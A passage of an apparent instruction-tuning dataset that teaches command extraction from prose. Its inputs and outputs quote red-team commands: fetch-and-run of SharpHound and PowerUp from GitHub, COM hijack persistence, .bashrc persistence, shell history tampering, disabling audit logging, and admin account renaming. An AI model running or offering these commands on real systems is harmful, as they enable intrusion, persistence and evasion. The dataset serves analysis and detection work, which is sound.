Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This PowerShell test hijacks a COM reference by creating registry values under the InprocServer32 key in the HKCU hive, then executes the Class ID using the following command:\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Value '#{clsid_description}'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Value \"#{dll_path}\"\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-localserver #{clsid}'; To establish persistence on user logon, this test creates a custom CLSID class pointing to the Windows Script Component runtime DLL, which looks for the ScriptletURL key. The following commands are executed to hijack the CLSID for Work Folders Logon Synchronization:\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\\CLSID\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\\CLSID\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\" /ve /T REG_SZ /d \"C:\\WINDOWS\\system32\\scrobj.dll\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\" /v \"ThreadingModel\" /T REG_SZ /d \"Apartment\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ProgID\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ScriptletURL\" /ve /T REG_SZ /d \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/src/TreatAs.sct\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\VersionIndependentProgID\" /ve /T REG_SZ /d \"AtomicTest\" /f\n\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\\TreatAs\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\n\nrundll32.exe -sta \"AtomicTest\"",
    "output": "{\"command_list\": [\"New-Item -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}' -Value '#{clsid_description}'\\nNew-Item -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}\\\\InprocServer32' -Value \\\"#{dll_path}\\\"\\nNew-ItemProperty -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}\\\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \\\"String\\\"\\nStart-Process -FilePath \\\"C:\\\\Windows\\\\System32\\\\RUNDLL32.EXE\\\" -ArgumentList '-localserver #{clsid}'\", \"reg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\AtomicTest\\\" /ve /T REG_SZ /d \\\"AtomicTest\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\AtomicTest.1.00\\\" /ve /T REG_SZ /d \\\"AtomicTest\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\AtomicTest\\\\CLSID\\\" /ve /T REG_SZ /d \\\"{00000001-0000-0000-0000-0000FEEDACDC}\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\AtomicTest.1.00\\\\CLSID\\\" /ve /T REG_SZ /d \\\"{00000001-0000-0000-0000-0000FEEDACDC}\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{00000001-0000-0000-0000-0000FEEDACDC}\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{00000001-0000-0000-0000-0000FEEDACDC}\\\" /ve /T REG_SZ /d \\\"AtomicTest\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{00000001-0000-0000-0000-0000FEEDACDC}\\\\InprocServer32\\\" /ve /T REG_SZ /d \\\"C:\\\\WINDOWS\\\\system32\\\\scrobj.dll\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{00000001-0000-0000-0000-0000FEEDACDC}\\\\InprocServer32\\\" /v \\\"ThreadingModel\\\" /T REG_SZ /d \\\"Apartment\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{00000001-0000-0000-0000-0000FEEDACDC}\\\\ProgID\\\" /ve /T REG_SZ /d \\\"AtomicTest\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{00000001-0000-0000-0000-0000FEEDACDC}\\\\ScriptletURL\\\" /ve /T REG_SZ /d \\\"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/src/TreatAs.sct\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{00000001-0000-0000-0000-0000FEEDACDC}\\\\VersionIndependentProgID\\\" /ve /T REG_SZ /d \\\"AtomicTest\\\" /f\\n\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\\\" /f\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\\\\TreatAs\\\" /ve /T REG_SZ /d \\\"{00000001-0000-0000-0000-0000FEEDACDC}\\\" /f\\n\\nrundll32.exe -sta \\\"AtomicTest\\\" \"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To run SharpHound, first download it to disk and import it, then execute the following command which will set up collection methods and store compressed data in the temp directory: import-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\SharpHound.ps1\"\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\ncatch { $_; exit $_.Exception.HResult}\nStart-Sleep 5\n; For successful execution, ensure the system can contact a domain and use the following command to run SharpHound: write-host \"Remote download of SharpHound.ps1 into memory, followed by execution of the script\" -ForegroundColor Cyan\nIEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');\nInvoke-BloodHound -OutputDirectory $env:Temp\nStart-Sleep 5",
    "output": "{\"command_list\": [\"import-module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\\\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\\n\", \"write-host \\\"Remote download of SharpHound.ps1 into memory, followed by execution of the script\\\" -ForegroundColor Cyan\\nIEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');\\nInvoke-BloodHound -OutputDirectory $env:Temp\\nStart-Sleep 5\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To append a command to the current user's .bashrc file, use the following command: echo '#{command_to_add}' >> ~/.bashrc\n; To include a new command in the user's .shrc file, use the following command: echo '#{command_to_add}' >> ~/.shrc\n",
    "output": "{\"command_list\": [\"echo '#{command_to_add}' >> ~/.bashrc\\n\", \"echo '#{command_to_add}' >> ~/.shrc\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary might manipulate HISTIGNORE to hide their activities, as shown in this test scenario with the command:\nif ((${#HISTIGNORE[@]})); then echo \"\\$HISTIGNORE = $HISTIGNORE\"; else export HISTIGNORE='ls*:rm*:ssh*'; echo \"\\$HISTIGNORE = $HISTIGNORE\"; fi\nhistory -c \nls -la $HISTFILE\nls -la ~/.bash_logout\nif [ $(history |wc -l) -eq 1 ]; then echo \"ls commands are not in history\"; fi\nunset HISTIGNORE\nif ((${#HISTIGNORE[@]})); then echo \"\\$HISTIGNORE = $HISTIGNORE\"; else export HISTIGNORE='*'; echo \"\\$HISTIGNORE = $HISTIGNORE\"; fi\nhistory -c \nwhoami\ngroups\nif [ $(history |wc -l) -eq 0 ]; then echo \"History cache is empty\"; fi; In Windows systems, command line auditing can be disabled by modifying the registry with the following command: New-ItemProperty -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit\" -Name \"ProcessCreationIncludeCmdLine_Enabled\" -Value 0 -PropertyType DWORD -Force -ErrorAction Ignore.",
    "output": "{\"command_list\": [\"if ((${#HISTIGNORE[@]})); then echo \\\"\\\\$HISTIGNORE = $HISTIGNORE\\\"; else export HISTIGNORE='ls*:rm*:ssh*'; echo \\\"\\\\$HISTIGNORE = $HISTIGNORE\\\"; fi\\nhistory -c \\nls -la $HISTFILE\\nls -la ~/.bash_logout\\nif [ $(history |wc -l) -eq 1 ]; then echo \\\"ls commands are not in history\\\"; fi\\nunset HISTIGNORE\\nif ((${#HISTIGNORE[@]})); then echo \\\"\\\\$HISTIGNORE = $HISTIGNORE\\\"; else export HISTIGNORE='*'; echo \\\"\\\\$HISTIGNORE = $HISTIGNORE\\\"; fi\\nhistory -c \\nwhoami\\ngroups\\nif [ $(history |wc -l) -eq 0 ]; then echo \\\"History cache is empty\\\"; fi\\n\", \"New-ItemProperty -Path \\\"HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\Audit\\\" -Name \\\"ProcessCreationIncludeCmdLine_Enabled\\\" -Value 0 -PropertyType DWORD -Force -ErrorAction Ignore\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This script manipulates the administrator account name by executing the following command: $x = Get-Random -Minimum 2 -Maximum 9999\n$y = Get-Random -Minimum 2 -Maximum 9999\n$z = Get-Random -Minimum 2 -Maximum 9999\n$w = Get-Random -Minimum 2 -Maximum 9999\nWrite-Host HaHa_$x$y$z\n\n$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match \"User\" -and $_.PrincipalSource -match \"Local\"} | Select Name\n\nforeach($member in $fmm) {\n    if($member -like \"*Administrator*\") {\n        $account = $member.Name.Split(\"\\\\\")[-1] # strip computername\\\n        $originalDescription = (Get-LocalUser -Name $account).Description\n        Set-LocalUser -Name $account -Description \"atr:$account;$originalDescription\".Substring(0,48) # Keep original name in description\n        Rename-LocalUser -Name $account -NewName \"HaHa_$x$y$z\" # Required due to length limitation\n        Write-Host \"Successfully Renamed $account Account on \" $Env:COMPUTERNAME\n        }\n    }; Adversaries may gain additional access by executing these AWS commands to form a group and assign users to it: aws iam create-group --group-name #{username}\naws iam add-user-to-group --user-name #{username} --group-name #{username}",
    "output": "{\"command_list\": [\"$x = Get-Random -Minimum 2 -Maximum 9999\\n$y = Get-Random -Minimum 2 -Maximum 9999\\n$z = Get-Random -Minimum 2 -Maximum 9999\\n$w = Get-Random -Minimum 2 -Maximum 9999\\nWrite-Host HaHa_$x$y$z\\n\\n$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match \\\"User\\\" -and $_.PrincipalSource -match \\\"Local\\\"} | Select Name\\n\\nforeach($member in $fmm) {\\n    if($member -like \\\"*Administrator*\\\") {\\n        $account = $member.Name.Split(\\\"\\\\\\\")[-1] # strip computername\\\\\\n        $originalDescription = (Get-LocalUser -Name $account).Description\\n        Set-LocalUser -Name $account -Description \\\"atr:$account;$originalDescription\\\".Substring(0,48) # Keep original name in description\\n        Rename-LocalUser -Name $account -NewName \\\"HaHa_$x$y$z\\\" # Required due to length limitation\\n        Write-Host \\\"Successfully Renamed $account Account on \\\" $Env:COMPUTERNAME\\n        }\\n    }\\n\", \"aws iam create-group --group-name #{username}\\naws iam add-user-to-group --user-name #{username} --group-name #{username}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    